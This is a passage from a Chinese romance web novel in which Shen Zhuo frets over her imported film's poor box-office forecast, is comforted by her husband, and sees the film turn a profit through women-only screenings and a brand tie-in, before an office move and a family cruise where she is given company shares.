她一开始可是奔着3000万的票房预计的，知道片子可能没什么受众，但是她没想过预测竟然这么低！ “这才刚刚上映，而且零点时间本来去看电影的就少，现在的预测数据并不准确。” 沈灼整个人都懵了，邵成章的话和空气一样飘进耳朵又飘出来，她现在就记着一个1100万了。如果是1100万，那么她连本都回不来，甚至还在亏损。 “现在你要做的是睡觉。” “你先别和我说话！”沈灼不禁提高声音再次警告他，连着音调都高了几度。 沈灼打开计算器，总成本包括版权买断280万，发行费110万，宣传费150万还有翻译加后期大概20万，她一共花了560万，但1100万的票房去点影院分账和税，她取一个中间值，大概只能拿回385万。 所以她还亏损175万左右。 她看着计算机上的-175，眼睛眨巴眨巴，大脑一片空白。 “沈灼，别算了。”邵成章一把抽过她的手机，“至少你要过了一周再看预测，鹰眼是根据每日票房、环比变化判断票房走势的，影片后劲足，预测票房会更高，所以你先不要担心。” “不行，你把手机给我，我再看一眼。”沈灼抬手去抢，邵成章伸直手臂她够不到。 “宝宝，现在先睡觉，我保证票房绝对不会只有1100万的，你要相信你自己。” “可是——” “没有可是。” 邵成章把手机搁在他这边的床头柜，扶着沈灼躺下，他直接关了灯。 没几秒，沈灼忍不住出声：“邵成章，万一票房比预测的还低怎么办啊？那我亏的就更多了。” 邵成章伸手将她揽进怀里，语气沉稳：“即便真的比预测低，那也只是亏一笔钱。” “不行！”沈灼喊道，“那可是小200万呢！” “这才是上映第一天，市场反馈远没稳定。观众口碑才是决定走向的关键。如果片子好看，观众自然会带动更多人进场。数据会涨，你要给它时间。” “可……万一观众也不买账呢？” “那我们复盘总结经验，下次再选片就会更稳重些。” “啊啊啊我要是亏了，还选什么片啊，我以后再也不投资了，我就老老实实上班得了。” 邵成章笑了下，“赚了更好，赔了也没关系，反正有我呢。” “要不你再帮我看一眼呢，票房高点没有？啊，好不好好不好？”沈灼晃着他的手臂，她好想拿过来手机，恨不得一直盯着票房数据。 邵成章叹口气，翻身解锁看了一眼，沈灼也半撑着身子眯起眼来看，但是屏幕距离她太远了，什么也看不清。 “高了。”邵成章锁屏放下手机，躺回来。 “啊？真的吗？” “真的，骗你是小狗。”邵成章又把她搂过来，“现在开始，闭上眼睛睡觉，明早起来看票房肯定会涨的。” 沈灼悬着的心放不下，她只能默默祈祷明天起来局势逆转。 心里揣着事儿的人，怎么都难安稳。沈灼翻来覆去，睡不着。邵成章其实也没睡，但一直闭着眼装睡。要是她知道他醒着，又要时不时让他去看数据，或者陷进无休止的未来猜测里，那这一晚上她都不用睡了。 其实大道理她都懂，但这种时候不管他说什么都像空话，只能靠她自己一点点消化调节。他只能保证，在沈灼需要他的时候他会一直在。 捱到将近三点，沈灼的呼吸声终于平稳，邵成章替她拉了拉被角，将她搂紧了些才缓缓入睡。 沈灼难得的在邵成章醒来之前睁开眼，满打满算连四个小时都没到，眼睛酸涩得厉害，可脑子清醒得很。她看了眼邵成章，他还在熟睡中，于是轻手轻脚地下床，绕到他这一侧，拿走了她的手机。 立即解锁，点进APP，她看了眼票房。 好消息是，票房真的涨了。 坏消息是，涨也没涨很多。 排片占比没有增加，预计票房还是原来的那个数，一点没动。 沈灼盯着屏幕，心口更堵，叹了口气，垂着头走出卧室。 房间重归于安静，邵成章缓缓睁开了眼睛。他也起来了，走到客厅看见沈灼抱膝蜷在沙发上，单薄的背影让他心里一紧。 怎么样才能帮到沈灼呢？ 他转身回房，拿起手机，点开和陈航的对话框。字已经敲出：“联系几家影城，包一批场次……” 指尖却停住了。 是啊，真这样做了，眼下她可能松口气，缓解她的焦虑，让她觉得情况没那么糟，可是往长远看呢？ 邵成章盯着屏幕，沉默良久，最终删掉了编辑好的文字。 不是不想帮，而是不能用这种方式去帮。真正的支持，不是替她扫平一切，而是让她在打击和压力里学会独立承受，学会接受事实，变得可以冷静应对，波澜不惊，变得更从容更强大。只有这样，她才能真正成长，不会被一次挫折就击垮。 理智告诉他，这条路沈灼必须自己走完，他能做的，是在她需要的时候，永远站在身后。 他相信沈灼可以做到。 而且以他对沈灼的了解，她也不会同意自己这样的做法。若是知道他在背后帮忙包场买票房，她不仅不会高兴，反而会更生气。她要的不是虚假的安慰，而是真实的结果。 他放下手机，从柜子里抽出一条毯子，走到客厅把毯子披到她身上，随即伸手从背后环住她。 但沈灼不能一直陷在内耗的情绪里，于是邵成章低声道：“老婆，我们今天去约会吧。” 第97章 沈灼也知道邵成章是想要转移她的注意力，只要她一个人呆着，她就会忍不住想东想西，甚至过一秒就想 看看数据怎么样了。 她知道自己也不能这样，于是点头答应：“好。” 平时他们都是在家吃早餐，邵成章说今天出去吃。两个人一起洗漱换好衣服，他就近带着她来了一家连锁早餐店。许是因为周末的缘故，这会儿才八点，人已经不少了。多半都是老人，还有夫妻俩带着孩子，加上窗口不停地叫号拿餐，闹哄哄的。 邵成章不喜欢来这种地方，嫌吵，但是现在的沈灼需要去点人多的地方。 “想吃什么？”邵成章牵着她来到点餐台。 “我都可以，你点。”沈灼表情淡淡的，她现在没什么胃口。 邵成章按照平时沈灼喜欢的口味大概点了些，拿到小票，他找到座位让她等着，他去取餐。 沈灼的隔壁是一家三口，小姑娘大概三四岁的样子，踩在沙发上刚好高过隔断一个头，手里还拿着一块糖火烧在啃。沈灼和小姑娘对上了视线，冲她笑了下。 沈灼一直都有小孩儿缘，路上碰见小孩子，都喜欢盯着她看，她也会笑笑和小朋友们打招呼，有时候还能唠上两句。 就比如现在，邵成章看过去，沈灼正在和隔壁的小姑娘说话，脸上有了表情看着也提了点精神。 他把餐端过来。小姑娘的妈妈一把把她抱回去，“好了，姐姐也要吃早餐了，你不要打扰人家了。”邵成章抬眼对着小姑娘也笑了一下。 早餐店的牛肉火香包是招牌，皮薄馅多，一口咬下去爆汁，但是沈灼现在没胃口，吃两口就搁筷了，小口啜着豆浆。 “不吃了？” “嗯。”沈灼说有点腻。邵成章把她吃剩下的夹过来放在自己的盘子里，又给她又夹了一个，“这个是韭菜鸡蛋的，再吃两口。” 沈灼勉强又吃了半个，剩下的还是被邵成章包圆了。 “一会儿我们去超市好不好？”本来想带她去徒步或者打网球，但是因为她睡的时间太短了，怕她身体受不了，于是又改成一天的吃吃逛逛。邵成章规划上午逛超市，中午去吃沈灼喜欢的日料，下午去看脱口秀还可以逛逛商圈，在外面吃完晚饭再回家，总之就是把这一天的行程都安排的满满的。 沈灼没有意见，他说什么就是什么。 邵成章开车去了悦享，这会儿刚开门营业，人还不是特别多。两个人并肩推着手推车随意逛着，沈灼不说话也不拿东西，逛了半天车子里还空空如也。 邵成章开始找话题：“你知道吗，我和妈妈第一次见面就是在这个超市。当时她拿着一张单子问我上面是什么东西，我还记得你写的是琼瑶浆和小野马，旁边还特别标注的‘有多少拿多少’，我当时就想这个姑娘怕不是个酒鬼。” 沈灼终于忍不住笑了，她歪头问：“然后呢？” “然后我就帮妈妈去找酒了，分开以后没想到在停车场那里又碰到妈妈了，她的购物袋子破了，挡在道路中间，我就让她先上车，知道顺路以后我就送她回家了。” “原来是这样啊。”沈灼说，“还送我妈回家哦，你还怪好心的咧。” 邵成章笑了下：“还好我善，要不然岂不是没老婆了？” 沈灼笑起来，“嘁”了他一声，“那你可得感谢我，你可是我第一个答应迟女士去见面的男嘉宾。我当时也没看过你的照片，只听她说你长得可好看了，但是她之前说每个男嘉宾都长得不错，所以我压根不信，以为你是那种……”她突然间想不出来特别合适的词，两只手胡乱地比划，“嗯……你懂吧，特别拿不出手的那种，我去见你就是为了那两瓶小野马。没想到一见面，呦这么帅的啊。” “你就算不相信我，也该相信一下迟女士的眼光吧？”邵成章没想到在见面之前沈灼对他误会这么深的。 “谁让她当时老催我结婚呢，每个男的都被她说的天花乱坠，要是都这么好怎么可能到现在还不结婚呢，那肯定是有问题呗。” “那你这么好，不也一直没谈恋爱吗。” “所以我还和姜珺说，大概是月老忘了给我牵红线了，我就自己胡乱牵红线吧，不就牵上你了。”沈灼挽上邵成章的小臂。 邵成章垂眼看着她：“有没有可能，不是你胡乱牵红线，而是我们本来就命中注定要在一起，一直都在等对方的到来。” “这样么……”沈灼嘟着嘴巴沉思。还别说，让邵成章这么一将，还挺浪漫的呢。 聊着聊着，沈灼就暂时忘了票房的事。走到水果区，沈灼望着不远处人群密集的地方惊叹了一声，“快快快，快点过去！”她推着手推车就奔着人群的方向冲过去了。 邵成章顺着视线望了一眼，看到上面挂着的牌子，金枕榴莲129一个…… 沈灼朝他招手示意他快来。他失笑摇头，果然看见好吃的什么情绪都没了。他抬脚大步走过去，沈灼对着盒子又闻又看的，最后递给他两个盒子，让他掂重量，两两对比选出稍微重一点的，最终成功拿下两个。 接着来到熟食和烘焙区，沈灼眼睛又蹭地亮了，试吃一个拿一个，没一会儿手推车就满了。 沈灼撇了一眼推车，她手里还拿着一大盒泡芙，有点犹豫：“是不是有点太多了，买不买啊……”抬眼看向邵成章，视线相撞。 “石头剪刀布？”沈灼问。 “石头剪刀布。”邵成章说。 两个人异口同声，沈灼笑出来然后将手背在身后，开始喊口令。 石头VS布。沈灼输。 沈灼：“不不不，三局两胜。”邵成章笑说好。 石头VS石头。 剪刀VS剪刀。 剪刀VS布。沈灼赢。 石头VS石头。 沈灼想了两秒，最后一把。 石头VS剪刀。沈灼赢。 “你是不是故意的啊？”沈灼发现他出拳的顺序都是一样的，难道是习惯？ 邵成章不答反问：“你不是想吃吗？” 沈灼哼哼一笑：“还得是你呀，你咋啥都知道呢。” 慢慢悠悠逛了一圈超市，买了几大袋子吃的，沈灼心情好多了，不像早上那么蔫儿了。邵成章看了眼时间，接近中午了，这会儿回市里会堵车，不过到达商圈那边也得十二点了，他问她中午吃日料行不行。 沈灼刚刚在超市里把试吃的都来了一口，现在一点不饿，但吃什么她没意见。邵成章开车出发往餐厅驶去。 堵车，沈灼无聊，又忍不住拿出手机，看了眼数据，倒也是持续地在涨。 不过可能已经接受了这个事实了，她现在看倒是能平静一些了。 邵成章忽然握住她的手，“下午姐夫请你去看脱口秀好不好？” “什么？”沈灼直接笑出来，怎么还有限定的姐夫回归。 “想不想去？” 沈灼收了手机，转头看他，笑说：“姐夫都说请我看了，那我就去呗。” 中午吃的不多，但昨晚睡得太少了，从餐厅到脱口秀所在的商圈不过十分钟车程，沈灼已经歪在座位上眯起眼睛了。 “要是困了我们就回家。”邵成章车子停在停车场，揉了揉沈灼的脑袋。 “票都买了，去呗。”沈灼手捂住嘴巴，打了个哈欠说。 邵成章指腹抹了抹她的眼角，“怎么一打哈欠就流眼泪。” “不知道，从小就这样。小时候我同学老觉得我在哭。”一打哈欠就流眼泪，一流泪就容易流鼻涕。沈灼吸了吸鼻子说。 邵成章笑了下：“就说你是水宝宝，水做的呢。” 沈灼嗔他一眼：“你能不能正经点儿？” “我不正经你也喜欢。” “谁说的？”沈灼扬扬眉毛，“我只喜欢正经人。” “嘴硬吧你。”邵成章低声笑道，抬手把自然风打开，“反正还没到时间，在车里睡会儿吧。” 沈灼侧了个身，整个身体对着他，两只手叠在一起垫着脸。她不睡觉，就这么看着他。 “怎么了？”邵成章也侧了些身子，倚靠在靠背上，直直地望着她。 “看看你呗。”沈灼说，“长得好看还不能让人看了么。” “能看，巴不得你多看看我。”邵成章笑着说。 今天邵成章没抹发泥，额前头发垂下来，看着很显年轻。沈灼发现他这张脸是真的看不腻。 “邵成章，谢谢你。”沈灼忽然说。 “嗯？谢什么？”邵成章微微笑着看她。 “谢谢你今天所有一切的安排。”明明他自己也很忙，也要抽出时间一直陪着她，她知道他的心意。沈灼浅笑着说，“我现在好多了，真的。” “谢什么，这是我应该做的啊。” 沈灼感动地看着他：“我眼 光可真好，找了这么一个好的老公。” 邵成章笑出声：“老婆可真会夸。” 快到时间了，沈灼挽着邵成章进商场，好巧不巧直梯里贴着正在热映的电影海报。沈灼记得这部电影目前排片量是最多的，刚调整好的心态又崩了。 电梯里暂时没别人，沈灼头一歪靠在他的肩膀上，哼哼道：“为什么别人投的电影都赚钱，就我不行呢？怎么会这样？你说是不是我前段日子过得太顺了，非得让我吃点赔钱的苦？” 出了电梯，邵成章说：“有亏才有赢。其实我今天还想，要不要下午看电影，支持一下《像她一样》，但怕你难受。” “我算是知道什么叫一朝被蛇咬十年怕井绳了，这投资太搞心态了。我现在才觉得你好厉害啊，怎么能在Dreamora初期亏损的时候就敢赌对赌协议，太有魄力了。”沈灼叹一声气，“可能我这一辈子没有什么赚大钱的命吧。” “每个人擅长的领域都不一样，我也做不到像你一样有可以精准地判断剧本和艺人的能力，把他们捧上影帝影后。再说，一件事的成功其实是需要很多条件的，我们自身的努力和能力只是一部分，但是还有一些是我们不能控制的。就像现在影视行业就是低迷，大家对行业产出失去信心所以不愿意进电影院，这些是你控制不了的，就不能责怪自己没有做成。” 沈灼点点头：“我知道，看来我还是内核不够稳。” “就当这次的投资是你的垫脚石，以后会越来越好的。” 说着，已经到了检票口，两个人停止了话题。邵成章买的前排票，这次沈灼说什么都不坐第一排了，拉着邵成章坐在了第三排的中间。 晚上回家，沈灼早早犯困，洗漱完了板正地躺好，双手交叠放在小腹上酝酿睡意，邵成章在她一旁靠着床头看iPad。 沈灼又忍不住琢磨。半小时前她还看过一次数据，已经突破了100万票房，邵成章说一天100万，一个月后也3000万了。虽然都知道不是这么算的，但还是让沈灼有点开心，中午的时候还没到50万，这不到十二个小时，已经翻了一倍了，预测票房还涨到了1200万呢。 她还在社交平台上刷到了一位博主的推文，强烈安利大家去看《像她一样》这部电影，当时的点赞收藏已经超过了8000，热度不错，也或许是大数据的原因，她陆续刷到了不少推荐贴子，她一一点了赞。 但是还是不够，凭什么那些大烂片可以有好几亿甚至好几十亿的票房？ 越想越生气。 沈灼突然睁开眼睛，说：“我觉得你说的对，我不能怪我自己。” 她一下子坐起来，义愤填膺道：“要怪就怪现在这个市场太差了，观众水平也不行！为什么会喜欢看那种大烂片，剧情明明就是一大坨，还看得津津有味！抄袭融梗剽窃创意的还一窝蜂地说好……简直就是劣币驱逐良币，山猪吃不了细糠！你说是不是？！” “是。”邵成章点头附和，“老婆，马上睡觉了，你不要生气，对身体不好。” 沈灼重重地哼出一口粗气，她没搭腔，掀开被子下床。 他连忙问：“你去干嘛？” “喝水！”沈灼回答他，“我现在十分烦躁，火气大得很！” “……” 沈灼的情绪不太稳定，总是在反复横跳。 邵成章好不容易哄好了以后，可能再过一会儿又会反扑，然后和他哭丧着脸说，“如果让我回到半年前，我一定不会买这部电影了……要不然我去庙里拜拜吧，我不奢求赚钱了，回本就行……” 周天的晚上，《像她》票房突破250万。然而这并没什么用，因为注定了这个数据距离回本还有一大截。 “我不知道我在干什么，好不容易赚点钱就这么赔了。我就好好地经营工作室不行吗，为什么要转去投资呢，我什么都不懂？！”沈灼陷入绝望。 直到一周过去，沈灼彻底接受了这个事实，她不再和邵成章提起票房的数据了，好像这件事被突然抹去了一样。然而她理智上告诉自己要接受，可是潜意识里还是很难过。 早上五六点就会醒过来，然后再也睡不着了，一直到八点半混混沌沌地起床，去上班，下班回家。睡觉睡不好，吃饭也吃不香，每顿就吃那么两口就说自己吃不下了。睡前也不和邵成章分享好玩的事儿了，经常刷着手机就会走神发呆。 本来就不胖，这半个月已经瘦了六七斤，脸上那点肉都已经掉没了。邵成章晚上抱着她，感觉她自己的腰都没比自己的手要宽多少了。 沈灼这个样子，邵成章心疼坏了，甚至怕她心理出现问题。 就在他决定要带她去看医生的时候，姜珺带来了一个好消息。 第98章 沈灼收到姜珺的视频电话，这还是她出国后俩人第一次视频，接通后把屏幕那头的姜珺吓了一跳，战术性后仰，“你是怎么了，邵成章是黑山老妖给你把阳气吸走了啊？一副气血不足的样儿。” 沈灼扶着额头苦笑：“最近太烦了，别说气血不足了，我都快没气了。” 姜珺：“啊，怎么了？”她自从开学就忙着上课适应那边的环境，开始还和沈灼抱怨有点跟不上，后来她开始天天泡图书馆，两个人都忙，聊得也少了，直到现在还不知道《像她一样》已经上映了。 再次提起自己亏了小两百万的事，沈灼已经相当淡定了。 姜珺听她说完，一拍大腿，“你怎么不早和我说啊，《像她一样》的导演奇亚拉莫雷利是我们的客座教授，上周她刚给我们做过分享！”一边说着，一边拿起平板不知道在搜索什么。 “你知道现在票房这么低的原因是什么吗，还是没有宣传到位。你看看这营销事件才12个，营销话题也不多，微博上升榜最高才占第7名……” 沈灼撇嘴，叹口气：“这不是没钱宣传吗。” 姜珺打了个响指：“你有没有想过搞观影会，这部片子毋庸置疑女性观众多，不如就搞全女观影，我在A市有朋友之前搞过几场，包场几乎次次都是满座。” 沈灼确实没想过这个思路，毕竟姜珺是编剧出身，她平时对电影方面的活动比她了解的要更多。沈灼担心占用姜珺的时间，得知她现在正在放BankHoliday，连着周末有三天假期。 姜珺摆摆手：“行了，这事儿你别管了，我给你搞定。” 沈灼不是不相信姜珺，而是五一小长假的排片已经被两部头部影片占领了，现在《像她一样》的排片基本只集中在一二线城市了，哪怕在A市，一边外环偏远的影城已经没有排片了，就算搞几次观影会，也不过是杯水车薪。 姜珺也是个说干就干，雷厉风行的人。没几个小时过去，就有人来加沈灼的微信，是姜珺推荐的名片。通过以后，对方告诉她她是之前举办过包场观影活动的策划人Nana。Nana和几家影城都合作过，有 很丰富的策划经验，她将方案和沈灼讲了一下。 Nana负责和影院以及发布帖子寻找观众，每张电影票售价59元，然而发行那边和影院定下的电影票是40元一张，超出的这19元Nana会给每位观影人准备小礼包，以及她们组织活动的人工费。 票价也算合理，自己也不需要做额外的工作，沈灼欣然接受。 晚上，姜珺又给她发了一张图片，是一封全英文的邮件截图，沈灼看了又看，甚至还让邵成章帮忙确认了一下。 “是我理解的那个意思吗？奇亚拉莫雷利导演要和观影会的观众连线交流？”沈灼还是难以置信。 邵成章将手机还给她，点头道：“是这个意思。” 沈灼没想到，姜珺竟然给导演发邮件邀请她和国内的观众进行映后交流。 有导演交流环节，Nana一发帖就获得很多报名，沈灼眼见着观影群几乎不到一个小时就已经满人了。观影定在周天的下午和晚上，有两场。 沈灼作为版权方，也被Nana邀请映后上台交流，再三推托不过，她只好答应讲了她对电影的见解和想要引进的原因。 奇亚拉莫雷利是意大利人，而意大利的家庭观念、人情社会以及历史进程和中国有着极高的相似性，所以国内的观众十分共情影片中女主角的处境和选择。因此虽然是网上视频连线，也抵挡不住女观众们的热情，本来预计半小时的交流分享会，硬是被延长到了50分钟。 有观众将导演交流的片段发到了网上，没想到直接上了热搜，而这成功引起了其他地区的女观众的注意，强烈要求也要组织当地的全女观影。 本来一个月的上映期限，沈灼直接又密钥延期了一个月。奇亚拉莫雷利得知中国有许多喜欢影片的观众也十分配合，周末下午晚上的场次她常常会进行连线交流，回答问题的片段频频上热搜。 不止城市，在高校之间也开始组织《像她一样》的观影活动，还有教授参与映后分享。网友也在网上一直喊话要增加排片，不到千万的票房在一个月之内竟然已经突破了2000多万，她又将密钥延期一个月，预计票房大概在3000万出头。 局势逆转，原本亏损200万的局面直接变成盈利200万甚至还会更多，沈灼终于像是活了过来。她和两个平台谈好了流媒体的版权，各家出120万，几乎将影片的版权成本收回来了。 虽然密切关注着票房，可艺人经纪的事也没落下。沈灼这两个月陆续有接到艺人的签约意向，最让她没想到的是步繁竟然停止了和鲸禧的续约，然后找到了她。 问起停止续约的原因，步繁说鲸禧后来提供的项目她都不满意，她想和沈灼合作。 “可是亲爱的，我说实话，我这小工作室现在还担不起能签你影视约的能力。”沈灼如实说。毕竟鲸禧也是十几年的影视公司了，资源还是够的，但沈灼还算个新人，她没办法承诺能给步繁一年几部戏。 步繁笑了下：“我说了我是和你这个人合作，你来帮我把关剧本吧，Joey和你比还是差一点。或者你那边有什么好的本子也可以推给我，费用都好说。” 沈灼笑着答应：“好呀，要是有适合你的角色不谈费用我也会推给你。” “司予最近有什么戏吗？”步繁突然问。 沈灼愣了一秒，而后笑了下，“他刚从港市杀青，说要休息一段时间。” “前段时间综艺有找到我，是国内首档导演编剧演员综合一体的综艺，我觉得还挺有意思的，如果司予有兴趣我可以和casting推荐一下。” 沈灼微笑回答：“司予之前就说，他不参加综艺。” “好吧。”步繁耸耸肩，“可惜了，我还蛮想和司予合作的呢。” 沈灼笑着和她说：“以后一定会有机会的。” 送走步繁，沈灼搜了搜她提及的那档综艺，没想到竟然还在拟邀名单里看到了麦序。她连忙问小芸有没有收到综艺的邀约，没想到还真有，不过小芸已经推掉了。小芸问她是不是要接，沈灼摇摇头说不用，并且嘱咐她这事儿不要和关司予提及。 刚回办公室，Nadia冲进来找她，一脸惊讶地问她：“你还和Dreamora谈合作了吗？” 沈灼狐疑地看着她：“什么意思？” “你自己看热搜。”Nadia冲她扬扬下巴。 难道是知道她和邵成章的关系了？沈灼一边猜测一边打开手机，点进微博，没想到热搜第一就是Dreamora的相关词条。 #Dreamora和像她一样联动# 嗯？什么时候搞联动了？沈灼点进去，发现第一条就是Dreamora的官方微博发布的内容：“为了支持电影《像她一样》，观众可以凭电影票根到线下店换取任意普通盲盒一款。” ？这件事，邵成章没和她讲过，她完全不知道啊…… 沈灼抬头对着Nadia应付地笑了下，“嗯……有认识的朋友。” Nadia冲着她竖大拇指，一声感叹：“你这次真的赚翻了。” 沈灼笑了笑，“不赚钱怎么给你们发工资哦。” 等Nadia离开，沈灼截图发给邵成章。 沈灼：“这是怎么回事啊？” 邵成章回复迅速：“回家说[亲亲][亲亲]” 回到家，沈灼就坐在客厅刷手机等着邵成章。因为Dreamora发出的声明，她已经刷到不少在网上晒票根换盲盒的帖子了。 “必须要去支持一波电影了，天哪谁懂50块可以看场电影还能抽盲盒的救赎感啊啊啊，我爱Dreamora。” “我们这票价40[斜眼笑]” “下了班就去，想抽Lumi，希望到时候还有[祈祷]” “我天我没留票根，购票记录行不行啊？” “楼上的可以再去看一次，权当支持一下票房了！” “我将决定去十刷！” “没想到Dreamora竟然这么大方，从来没买过盲盒，路转粉了。” “……” 再点开数据监测APP，沈灼发现预计票房又涨到了快4000万。 听到电子门锁的滴滴声，沈灼起身去门口迎他。 一打开家门，就能看到老婆，“老婆……”邵成章笑着一把搂住她，头埋在她颈窝蹭着。自从票房上涨，沈灼可算恢复了食欲，也不再失眠了，腰上的肉终于涨回来一些。 沈灼迫不及待想知道联动是怎么回事儿，她拍拍他的背，“你先和我说说这是怎么回事儿啊。” “就是你看到的那个样子啊。”邵成章直起身子，牵着她往里走。 “邵成章，我不需要你这样帮我的。”沈灼突然停下，抽回了手。 邵成章就猜到她会这么说，他走到沙发坐下，抬头望着她，一笑置之道：“谁说我是在帮你了？” ？沈灼微皱起眉，他是什么意思？ “Dreamora的用户受众本来就是女性群体居多，《像她一样》又是最近热度很高的女性题材电影，支持女性作 品就已经表明了态度，自然也会增加女性群体对品牌的好感度从而增加用户粘性。而且人们都有‘不要白不要’的心理，就算不是Dreamora的用户，但是拿到盲盒也因此可能发展成潜在用户。“邵成章解释道。 “所以说，Dreamora和《像她一样》的联动，本质上是一场资源互换，互惠互利。” 这个说法，沈灼可以接受。 她走过去将邵成章推倒靠在沙发上，长腿一跨坐在他的大腿上，伸出食指点在他的胸口，“好啊你邵成章，长胆子了，你竟然连老婆都算计？！” 邵成章头枕靠背，笑着看她假装生气，他手一抬，扶在她的腰臀上，“我错了，和老婆申请惩罚行吗？” 沈灼哼一声，往他身上一趴，脸颊贴着他的胸口，可以听见他怦怦跳动的心跳，她说：“其实你真的不用这样。” 到底是发展潜在用户盈利还是换盲盒亏损，她怎么会不知道呢。 “不需要有负担，就相当于是Dreamora的宣传费了，这点成本都不到和艺人合作的一半费用。” 他可以这么说，但沈灼没法这么想，她只觉得自己有点太没用了，要不是姜珺和邵成章，这个票房真的救不回来。 “有姜珺和你，我感觉自己真的好幸运。”沈灼说。 “老婆，因为你值得。”邵成章捧住她的脸，让她看着自己，“因为爱出者爱返，福往者福来。” 联名活动进行了十天，期间有大V博主抽中了隐藏款又引起了一波跟风。电影一共上映了三个月，下线的那天票房超过5000万，这已经超出沈灼太多期望了。 和影院分账扣掉税和发行费，她最后到账的资金有1000万，这是从来没敢想的。 在公司只能压着兴奋的情绪淡定工作，回了家就忍不住和邵成章傻乐。 “我有一千万了欸！”直接进行资产跃升，从A8升到了A9，沈灼手舞足蹈，“真不敢想，突然就成富婆了。” 她给姜珺发了消息，估计她还在上课一直都没回她，等到快睡了才给她回消息。 见沈灼还捧着手机咧嘴笑，邵成章上床躺在她一边问：“这么高兴呢。” “嗯。”她鼻音轻轻哼了声。 邵成章也跟着她笑。 沈灼放下手机，伸手揽住他的脖子，手指流连在他的后颈和耳后，轻轻地摩挲，“以后给我当小白脸，我养你啊。” 邵成章笑着点头，“好啊，你养我吧，我很好养活的。” “那你知道小白脸的第一要义是什么？”沈灼凑近他，低着声音说。 邵成章挑眉问：“什么？” “当然是要服务好金主喽。” 邵成章揽住她的腰，把她往怀里带。他牢牢锁着她的眼神，一点点凑近，然后亲在了沈灼的唇上，“保证让沈大金主满意。” 服务者就要有服务者的意识。知道沈灼喜欢什么，邵成章把睡衣直接脱掉，任她盯着自己看。他从床头抽出湿巾，慢条斯理地捋着每一根手指擦干净。 他的手型很好看，手掌大又宽厚，手指长却不细，手背有交错突出的青筋，指甲一直都剪得很短，从来不会伤到她。 双手清洁干净，邵成章俯身吻住她。 沈灼闭上眼睛，开始享受他的服务和这美好的夜晚。 第99章 沈灼最近忙得焦头烂额，不仅忙着评估签约艺人，还要负责招聘工作人员，然而她发现办公室场地不够用了，周末还约的中介看写字楼准备乔迁。 邵成章提议让她搬到他公司楼下，不仅可以一起上下班，还可以一起吃午饭。他的办公室有单独休息间，中午可以去他那里午睡小憩。 说不心动是假的，但沈灼在租房APP上查了一下价格，一个月就要十万的租金，她直接心死。 周末跑了两天，沈灼快速定下一间，比现在的办公室通勤时间短很多，周围商圈也不少，而且这里艺人工作室和公司也多，有大半沈灼还认识。至于价格，220平的精装修，五块一平，一个月三万出头的租金，虽然有点超出预算但勉强也可以接受。因为她实在是不想再看了，跑来跑去的太累。 沈灼不是喜闹的性格，本想乔迁安安静静地公司内部庆祝一下就好，但Nadia坚决不同意，说一定要办出气势，于是这件事就被她揽过去了。有那么几次沈灼都要走了，还看见她和行政小姑娘在核对乔迁要准备的物料。沈灼催着她们赶紧下班，Nadia摇头说自己回家孤家寡人的一个呆着难受。行政小姑娘也是把乔迁当成个大事儿，也不肯走，沈灼就随她们去了。 乔迁的日子选定了一个百无禁忌诸事皆宜的日子，整个公司门口被铺成了一片红，墙上挂着条幅，两边是邵成章、大哥还有同行以及合作过的艺人送来的花篮，入口准备了一桌子的水果坚果，代表不同的寓意。沈灼给每位员工都准备了红包，最热闹的当属Nadia设计的游戏和抽奖环节，她拿出来一沓刮刮乐，场面一度十分沸腾。 公司从最初她一个人，慢慢地已经增加到三十多人了，众人排着站好对镜头大喊“乔迁大吉”。沈灼洗出合照框起来，放在了办公椅身后的柜子里。 忙碌着进入了八月，沈灼刚从会议室出来接到了邵松的电话，他说今年是邵恒集团四十周年，集团请中高层领导和优秀员工团建，邵松要沈灼和邵成章也一起来。 自己和邵成章都不是邵恒的员工，也没必要去，她想找理由推脱，没想到邵松这次坚定地让他们必须来，说是有重大事情要宣布。 周年庆的排场可见一斑。邵成恪亲自出手，为此特地在S市港口包下一艘豪华邮轮，四天三夜的行程，途经济州岛，形式和规模堪比一场海上庆典。沈灼想着就当是散心了，便将工作提前处理好，与邵成章一同启程。 邮轮上一共17层甲板，从远处望去宛如一座漂浮在海上的城堡。最上层是露天泳池与日光甲板，中段甲板则是各种娱乐与休闲设施。白天Nora总要拉着沈灼在免税店里流连，晚上有集团组织的派对晚宴，沈灼和邵成章自然不去，他们会到去甲板上吹着海风，看金色落日坠入天际。 回程的前一晚，邮轮上的主餐厅灯火辉煌。几十位集团高层与董事齐聚一堂。开餐之前，邵松在邵成恪的搀扶下，缓缓走到餐厅最前端。邵松虽已年迈，却仍带着不可忽视的威势。见董事长要发言，厅中交谈声逐渐停息，只余低低的海浪声透过舷窗传来。 邵松环视全场，目光沉稳，声音低沉却掷地有声：“邵恒走到今天，已四十载。能有今日的规模，靠的是在座诸位的同心共力，更靠的是家族上下守护和传承。如今，我手中尚持有集团百分之三十的股份。今天，在这里，我要做出安排，各位也做个见证。” 话音落下，厅中众人屏息。 坐在最前端的兰芙玉皱起眉头来，心中有隐隐不安的感觉。 “明璇，沈灼，你们都是邵家的儿媳，也该有集团的一份子。我决定，各分予你们百分之五的股份。剩余的百分之二十，将作为家族血脉的传承，待到你们的子女成年之日，再平均分配下去。” 这话一出，整个餐厅瞬时寂静，空气几乎凝固。兰芙玉闻言简直震惊地说不出话，她的丈夫怎么能将集团股份给小三的孩子？！ 原来邵松说的重要的事就是要送她股份，沈灼顿时瞪大了眼睛看向邵成章。邵成章十分淡定地冲她一笑，好像已经提前知晓一般。 沈灼想，难道真是这么大方地给她股份吗，还不会邵成章答应了什么吧？ 底下人反应过来纷纷鼓掌，邵成恪一抬手，服务生开始上菜。 邵家这六口人坐在一起，吃到一半，就有董事和高层们来敬酒。沈灼不太饿，吃了一点便放下筷子开始看手机。 邵成章牵住她的手，“我们出去走走？” 沈灼巴不得离开这儿，她点点头。邵成章起身带着她去了甲板。 海面正被落日染成深橙，天与水的交界像是一条被火焰描过的线。甲板上风大，吹得沈灼头发微微凌乱，镶钻的耳饰摇摇晃。邵成章将她带到靠近栏杆的位置，在她面前站着替她稍微挡挡风。 “你是不是早就知道这事儿了？”沈灼问。 邵成章点头：“他给你的是原始股份，以后就算不工作你都养得起我了。” 沈灼现在没心思开玩笑，严肃地问他：“你没答应他什么吧？” 邵成章一怔，问她：“怎么会这么想？” “之前爸爸不是提过几次让你回邵恒吗，他不会是拿这个要挟你回去工作才答应给我股份的吧？这股份我可以不要，我又不是觊觎邵家的钱。”沈灼霸气地说，“我不缺钱。” “没有。”邵成章笑说，“你怕他威胁我吗？” 